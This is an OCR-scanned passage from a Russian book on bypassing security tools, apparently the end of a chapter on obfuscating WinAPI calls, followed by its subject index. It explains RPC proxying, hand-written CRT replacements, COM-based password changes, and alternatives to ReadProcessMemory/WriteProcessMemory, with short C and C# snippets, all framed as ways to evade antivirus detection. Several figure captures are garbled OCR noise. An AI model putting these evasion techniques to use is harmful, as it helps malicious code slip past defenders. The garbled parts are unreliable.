%20RPC%20Thread %20-%20How%20 Attackers%20Abuse%20Server%20Calls%20for%20Code%20Execution.pdt). Од­ нако я постараюсь описать вкратце. При взаимодействии устройств через протокол RPC происходят операции марша­ линга и демаршалинга передаваемых параметров. Это необходимо, т. к. аргументы функции передаются по сети и сложные структуры просто так в сокет не засунуть. Обработка данных происходит в специальных NDR-функциях (NDR - Network Data Representation). Сами данные попадают внутрь этих функций в виде структуры RPC MESSAGE (https://learn.microsoft.com/ru-ru/windows/win32/api/rpcdcep/ns-rpcdcep-
Е Algrt 8qE ldpail 111 ldp08 l8CourC , ОкА.ао.t.• 1 .....,ер, ll80L...-IL.-0 Рис. - i 1 .____. - -Ер, (Р\10,0) - - ... -.... ...,,,...__ J 1 -1 о Е Q) с., а, 3 С) а, -8 IФ Q) а, 1~ о ~ lf - MIDL_SERVER_INFO -$'""0(71 °""°--- .......,s.mae1 с:: с:: J:: :::Q) .g -& :t с:: 3 ~ ! ---·- ·- 3 о- С) .с Q) с:: о.за~ -- .,.,_,,,."0"28_. . о..ао 01118~ 1 0'10- 1 О.00~ t --,_._,;;.; ~ -- -~ MIOL,,,SТU 8_DliSC ~-~- ------.. О- -.С:0-КJ (PYOID) 0"38 0 ! ' 3 0 - (PVOIO) 0"28 R p c a , , l c < f - - QJl20T,_fetSyntaa: ~ Ох18 --~6) ---- ,~ о•Olf101km8r ~ (n ~ --tS"1"11(!11 - ,- ---•S•"'O(♦J - !<О-- _} - - _ o--r- --....,s_z, 0.18 Pr--S•1ng(3j о.,о o.oe_,,,.tS""'Ol•I ---$""'8(0) ,,.,.,_........._,_ .. Stmg _,., ---То Со/1 [- Передача потока управления из 1 ., 23.10. Ol<IOnCounl а.28рТt-~ __ 0.t8 Fm<S....,.._. --- ~ ...--- -;, ---- --..... ~ - .....ORpd• 0>38 ~ -~- о,,20Т- а.••- О.10~ -- 1~ llll'C_SEJIYElt_.llfТEМACIE .... ...,,,.._ 0.20 .,. 0.18 _, Ok,O ~ owe wg1 ·-- о.о- llll'C..-SSAOI!
Глава 23. Обфусцируем вызовы WinAPI новыми способами rpc_message). манипулируя адресу (рис. Внутри 455 нее достаточно большая вложенность других структур, которыми мы можем передать поток управления по произвольному 23. l О). У этого метода есть свои особенности: как минимум необходимо инициализировать среду RPC в текущем процессе. Существует демонстрация работы на У ouTube (https://www.youtube.com/watch?v=zte6RМtsNzg), а также РоС на GitHub (https:// githu b.com/klezVirus/RpcProxy Invoke ). Таким образом, с помощью подсистемы RPC мы можем дергать любую WinАРl­ функцию с передачей аргументов, что будет считаться одной из форм проксиро­ вания. Используем альтернативные функции Теория Пора выдохнуть и перейти к чуть более простому методу. В случае с альтернатив­ ными функциями мы будем пытаться найти обходной путь до нужных нам возмож­ ностей. Например, вместо использования функции memcpy () собственноручно писать логику метода и копировать данные с помощью указателей, ручками. Или, как вариант - обнаружить и дергать чуть более низкоуровневый, потенциально нехук­ нутый аналог. В принципе, этот вариант достаточно тесно связан с прокси-функциями, ведь ка­ кой-то метод может дергать оригинальную функцию под капотом, быть оберткой над оберткой ... В общем, реверсить каждую запаришься. Главное - найти иной WinАРI-вызов, альтернативу. Замена CRT Проще всего начать с замены СRТ-функций. Например, так можно заменить функ­ цию memcpy () : PVOID _memcpy(PVOID Destination, PVOID Source, SIZE_T Size) { for (volatile int i = О; i < Size; i++) { ( (ВУТЕ*) Destination) [i) = ( (ВУТЕ*) Source) [i); return Destination; Вот так - сравнение строк через wcscmp (): int custom_wcscmp(const wchar_t* strl, const wchar_t* str2) while (*strl == *str2 && *strl != L'\0') { strl++; str2++;
Часть 456 Способы обхода средств защиты информации ///. return *strl - *str2; А так РСНАR - преобразование из нижнего регистра в верхний: CaplockStringA( In РСНАR Ptr) РСНАR sv = Ptr; while (*sv 1= '\О') if (*sv >= 'а' && *sv <= 'z') *sv = *sv - ('а' - 'А'); sv++; return Ptr; PWCНAR CaplockStringW( In PWCНAR Ptr) { PWCНAR sv = Ptr; while (*sv != '\О') if (*sv >= 'а' && *sv <= 'z') *sv = *sv - ('а' - 'А'); sv++; return Ptr; В CRT очень много функций, и практически все возможно переписать, вручную реализовав логику их работы. Больше вариантов ищите в репозиториях (https://github.com/JНRobotics/nocrt) и NOCRT (https://vx-api.gitbook.io/vx-api/ vx-api code-base/markdown ). Через ссылки на структуры Обычно в Windows Windows используются одни и те же структуры в функциях со схожей логикой работы. Таким образом, у нас появляется возможность искать похожие функции. Проще всего искать через IDE. Для этого нужно будет найти заголовоч­ ный файл, в котором есть интересующая нас структура. Искать прокси-функции можно тем же методом, поэтому не будем останавливаться на них отдельно. Итак, пусть у нас есть функция SetThreadContext () (https://learn.microsoft.com/enus/windows/win32/api/processthreadsapi/nf-processthreadsapi-setthreadcontext), которая принимает структуру CONTEXT (https:/Лearn.microsoft.com/en-us/windows/ win32/api/winnt/ns-winnt-arm64_ nt_context). Структура CONTEXT определена в файле winnt.h (рис. 23.11 ).
Глава 23. Обфусцируем вызовы WtnAPI 457 новыми способами .... ....z~ о (.) :;; а. t >, а. t ф s :<: ф с; ф а!= а. ,:: о ..: .... м N u s D.
Часть 458 111. Способы обхода средств защиты информации Нажимаем на PCONTEXT, кликаем правой кнопкой мыши и выбираем «Найти все ССЫЛКИ>> (рис. 23.12). Получаем большой список ссылок на эту структуру из разных функций (рис. 23 .13 ). Начинаем исследовать и обнаруживаем функцию RtlCaptureContext2 ( 1 со схожими возможностями (рис. 23.14)! Рис. Рис. 23.12. 23.13. Поиск ссылок Список ССЫЛОК
Глава 23. Обфусцируем вызовы WinAPI 459 новыми способами о:; s ~ :t -& о:; CV :t 1D s tv:t а. ~ ...... ~ м N c.i :s: а.
Часть 460 111. Способы обхода средств защиты информации Изучаем СОМ Подсистема СОМ предоставляет нам огромное количество всяких фич. Нужно лишь изучить ее и понять ее особенности: что такое класс СОМ, как они регистри­ руются в системе, как работают интерфейсы и методы и т. д. Проштудировав это, вы сможете обнаружить множество интересных вещей! ПОЛЕЗНОЕ У меня есть небольшой Research/COMThanasia), Например, у объекта репозиторий COMThanasia (https://github.com/CICADA8который поможет вам в изучении СОМ. {oooooбl8-0000-0010-sooo-ooaa006d2ea4) ри которого есть метод ChangePassword ( 1, существует интерфейс, внут­ предварительно этот метод может использо­ ваться для смены пароля пользователя. Таким образом, дергая ChangePassword(I из СОМ, вы можете избежать вызова функций из netapi .dll (рис. . CLSIDExplorer . ••• -ctsid • 1евееебl8-ееее-ее1е-веее-ееааеебd2еаЧ} • PS А : \ssd\ProjectsVS\CLSIDExplorer\xбЧ\Debug> . \CLSIDExptorer .охо -cls\d [ {еееееб1а-ееее-ее1е - ееее-0еааеебd2еаЧI J AppIO : Un~nown ProgID : Unlщown PID : 8972 Process Na11e : CLSIOExptorer. ехе Usorna■ e: W!NPC\\"ichaet 23.15). "{90000618-0080-0810·8000·90.aGBbOleaЧ) • "ethods ; [0] _stdca'\.t void Querylnterface(IN GUIO--, OUT void••) [1] __ stdcatt unsigned tong AddRef() [2) _ stdcal\ unsigned tong Release() [3] _stdca\t void GetTypeinfoCount(OUT unsigned int•) [ц] __ stdcat\. void GetTypelnfo(IN unsigned int, ItJ unsigned tong , OUT void••) [S] __ stdcatt void GetJDsOfNames(JN GUJO•, JN char••, JN unsigned int , HJ unsigned \on9 1 OUT \ong•) [6] __ stdca\\ void Jnvoke(JN long, IN GUID•, IN unsigned tong, IN unsigned short, ПJ OISPPARA"S•, OUT VARIANT•, OUT EXCEPINFO•, ОUТ unsigned int•) [7] __stdcatl BSTR N..,e() [В) _ stdcatt void Na•e(IN 6STR) [9] _ stdca\\ RightsEnulП GetPerrtissions(lt, VARlAtП, IN ObjectTypeEnu• , ~ЛJ VARIANT) [18] _stdcalt void SetPer•issions(lN VARIANT, IN ObjectTypeEnu111 1 IN ActionEnum , IN RightsEnum , IN InheritTypeEn u•, IN VARIANT) [11) __stdcatt void ChangePassword(IN 6STR , IN BSTR) [12] __ stdcatt Groups• Groups() [13] __ stdcalt Properties• Properties{) (11.1) __ stdcatl _C.itatog• ParentCatatogO [15] __ stdcatl void PArentCata\og(Jtl _Ca.talog•) [16] _stdcalt void PмentCatatog(IN _Catalog•) [END] . PS А : \ssd\ProjectsVS\CLSIDExptorer\xбЧ\Debug> 1 Рис. Замена 23.15. Интересный метод ReadProcessMemory() Наконец, давайте покажу еще пару интересных «обходных путей» для функций. На текущий момент известно несколько способов замены вызова методов ReadProcessMemory(): □ через злоупотребление уязвимыми драйверами, например wnЬios 64. sys (https://github.com/ltzP AX/wnblos_рос); □ через RtlFirstEntrySList () (https://web.archive.org/weЬ/20230317073231/ https://www.x86matthew.com/view_post?id=read _write_proc_ memory). Первый вариант очевиден: драйвер предоставлял уязвимый метод, пригодный для чтения памяти. А вот второй чуть более сложный. Исследователь под ником x86matthew обнаружил функцию RtlFirstEntrySList (), которая получала адрес и воз­ вращала значение по нему .
Глава 23. Обфусцируем вызовы WinAPI новыми способами 461 DWORD _stdcall RtlFirstEntrySList(DWORD *pValue) return *pValue; Если вызывать эту функцию в удаленном процессе через createRemoteThread() или NtCreateThreadEx (), то можно добиться примитива чтения данных. Автор удалил РоС и статью из своего блога, впрочем, все сохранено в Intemet Archive, ссылка выше. Если мы работаем из кода на С#, то стоит обратить внимание на System.StuЬHelpers. GetNDirectTarget(). puЫic static IntPtr ReadМemory(IntPtr addr) { var stuЬHelper = typeof(System.String) .AssemЫy.GetType("System.StuЬHelpers.StuЬHelpers"); var GetNDirectTarget = stuЬHelper.GetMethod("GetNDirectTarget", System.Reflection.BindingFlags.NonPuЬlic I System.Reflection.BindingFlags.Static); IntPtr unmanagedPtr = Marshal.AllocHGlobal(200); for (int i = О; i < 200; i += IntPtr.Size) Marshal.Copy(new[] { addr }, О, unmanagedPtr + i, 1); return (IntPtr)GetNDirectTarget.Invoke(null, new object[] { unmanagedPtr }); Замена В той WriteProcessMemory() же статье (https://web.archive.org/weЫ20230317073231/https://www.x86 matthew .com/view_post?id=read_ write_proc_ memory) x86matthew предложил аль­ тернативу записи в память. Она тоже основана на функциях инкремента и декре­ мента значения по адресу. Множественными вызовами этих функций для адреса в процессе мы можем изменять значения в памяти, а значит, записывать. LONG LONG stdcall Interlockedlncrement(LONG *Addend); stdcall InterlockedDecrement(LONG *Addend); Где искать альтернативы Если вам стало интересно обнаруживать подобные возможности, рекомендую изу­ чить блог VX-Underground (https://vx-api.gitbook.io/vx-api). На сайте много инте­ ресных разработок, которые можно использовать в собственном коде. Например, мы могли бы запускать процесс не вызывая напрямую CreateProcess (), а через ими­ тацию нажатий Win-R. Согласитесь, это круто! Заключение Обфускация вызовов WinAPI - крайне творческий и любопытный процесс. Нужно пытаться смотреть на систему под новыми углами и мыслить нестандартно. Если вдруг получается отойти от проторенной дороги, можно оказаться вне поля зрения антивирусных радаров!
Предметный указатель А ACG (ProcessDynamicCodePolicy) 355 Active Directory 13 Active Directory Module 31 ALPC (Advanced Local Procedure Calls) 117 Antimalware Scan Interface 417 АР (Authentication Package) 113 Authentication Package 143 в Binding 280 BloodHound 240 BNIL (Binary Ninja Intermediate Language) 447 с CLSID (Class Identifier) 279 Cobalt Strike 60 СОМ (Component Object Model) 279 Credential Providers 115 CsWhispers 225 D DCSYNC 42 Dead Lock 374 Debug Address Registers 394 Default Domain Controller's Policy 29 Default Domain Policy 29 DLL Hijacking 374 DLL Proxying 374 DLL Redirection 375 dnSpy 221 DSRM 48 Dynamic Invoke 221 Dynamic Platform Invoke 230 Е EDR 307 Elevation Moniker 279, 286, 295 ESS 213 Extended Session Security 213 G GIUDA 77 Group Policy Container 29 Group Policy Object (GPO) 29 Group Policy Template 29 н Hardware breakpoint 393 Hash Invoke 234 IНхЕхес 301 IID (lnterface Identifier) 281 Impacket 139 !О Ninja 263 к Kerberos 67, 149 Kerberos Relay 269 Kemel Provider 370 Кеу List 50 КnownDlls 321 L Loader Lock 374 Logon Session 291 lsa 17 LSA (Local Security Authority) 112, 119, 237
463 Предметный указатель LSASS 149, 205, 237 LUID (Locally Unique IDentifier) 77, 104, 152, 291 м MIM (Microsoft Identity Management) 23 Mimikatz 17, 123, 139, 149, 244 Module Overloading 223 monodies 221 MPR (Multiple Provider Router) 133 N Named Pipe 256 NDR - Network Data Representation 453 NPFS - Named Pipe File System 256 NTLM 17 NTLMSSP 67 о Organizational Units 29 р РАМ Trust 23 Parasite Invoke 227 pass the ticket 139 Password Filters 11 5 РЕВ 314 PipeViewer 263 Platfonn Invoke 218 PowerView 33 Primary User 243 Privileged Access Management 23 Privileger 87, 93, 112 Process Hacker 259 Proxy Invoke 442 pyGPOAbuse 38 pypykatz 190 Security ЫоЬs 206 Security context 57 Security Package (SP) 113 Security Providers 114 Security Support Provider Interface (SSPI) 205 SEH (Structured Exception Handling) 395 self-injection 426 SharpGPOAbuse 38 SID (Security Identifier) 57, 97 SID Filtering 19 SIDHistory 18 Single Sign-On 115 Software breakpoint 393 SPN (Service Principal Name, идентификатор службы) 84 SSA (Static Single Assignment) 447 SSDT Hooking 307 SSP (Security Support Prodiver) 67, 112 SSP/AP 113 SSPI (Security Support Provider Interface) 67 Static Invoke 218 svchost.exe 391 т TGS (Ticket Granting Service) 18, 149, 248 TGSThief77, 89 ТGS-билет 84 TGT (Ticket Granting Ticket) 77, 149 TGT Delegation 21,208 ТОТ-билет 43 u UEH (Unhandled Exception Handling) 395 Unhandled Exception Filter 399 User Account Control 279 User context 57 User Shell 117 V R Read-only Domain Controller 40 RemotePotato0 251 Reserved Debug Registers 394 RSAT 37 Rubeus 139 5 SAM57 SCCM 243 УЕН (Vectored Exception Handling) 395 w WinAPI 425,441 Windows Kernel Trace 370 WinSxS (Windows Side Ву Side) 387 WMI 248 WTS!mpersonator 77
Предметный указатель 464 н А Анхукинr Начальный процесс 307 118 п Б Блоб Пайп 67,206 256 58 Поток г Привилегии Групповые политики 93 Провайдеры 29 д ◊ безопасности ◊ учетных данных Программное Двойной вызов функции 348 Процесс 1 14 115 имя 60 59 Делегат 221, 430 Демаршалинr 453 Деревья 13 Дескрипторы 180 с Связывание моникера Диспетчер учетных данных Дружественное имя Сессионный моникер 133 Сессия 60 и Инстанс 256 57, 63, 250 Теневые принципалы безопасности 286 Инстанцирова!1ие Исключение security principal) 23 Тикеты 149 279 3 'J ➔ Токены аутентификации Точка останова к у LSA 85 Кеширование 40 Ключ доверия 17 Контейнеры 30 Контекст 206 ◊ безопасности 57 ◊ пользователя 57 Указатель 433 ф Фабрика 280 х л Лес Хендлы Хук 13 180 307 ч м Маршалинr Челлендж 453 59 214 Маска доступа Межпроцессное взаимодействие Моникер 279, 295 408 118 т Именованные каналы Кеш 77, 291 Сискол, системный вызов Системный шелл Имперсонация 280 295 256 ш Шелл-код 425 393 57 (shadow